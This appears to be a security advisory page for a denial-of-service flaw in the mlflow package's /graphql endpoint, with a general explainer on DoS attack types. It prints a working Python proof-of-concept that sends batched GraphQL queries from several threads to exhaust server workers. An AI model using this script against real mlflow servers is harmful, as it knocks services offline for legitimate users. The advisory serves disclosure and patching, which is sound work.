Allocation of Resources Without Limits or Throttling Affecting mlflow package, versions [0,]

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in handlers.py, which is exploitable over the /graphql endpoint. An attacker can occupy all available workers and make the server unresponsive to other connections by sending large batches of GraphQL queries that repeatedly request all runs from a given experiment and stay in a pending state. Experiments configured to have a large number of runs are vulnerable.

import json
from random import choices
import string
import threading

# Replace this with the address of the tracking server.
TARGET = "http://localhost:5000"

# Replace this with the experiment ID that is allocated when tracking,
# or some existing ID with a lot of tracked runs.
EXPERIMENT_ID = 0

# The amount of batched queries to perform.
# Locally, 20 is enough to have all the workers OOM after about 30 seconds.
# This can then be repeated.
N = 20

internal_query = " ".join([
    ''.join(choices(string.ascii_letters, k=8)) + r': mlflowSearchRuns(input: { experimentIds: ["' + 
    str(EXPERIMENT_ID) + 
    '"] }) { runs { info { runId } } }'
    for _ in range(N)
])

query = 'mutation something {{ {} }}'.format(internal_query)

print("Query size (in bytes):", len(query.encode("utf-8")))
payload = {
    "query": query,
    "variables": {},
    "operation": "something"
}

def send_req():
    r = requests.post("{}/graphql".format(TARGET), data=json.dumps(payload), headers={"Content-Type": "application/json"})
    print(r.elapsed.total_seconds())

print("Posting!")

# Replace this with the number of workers allocated to MLFlow
THREADS = 4
for _ in range(THREADS):
    threading.Thread(target=send_req).start()

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GraphQL Batching Attack
• Vulnerability Report
• Vulnerable Code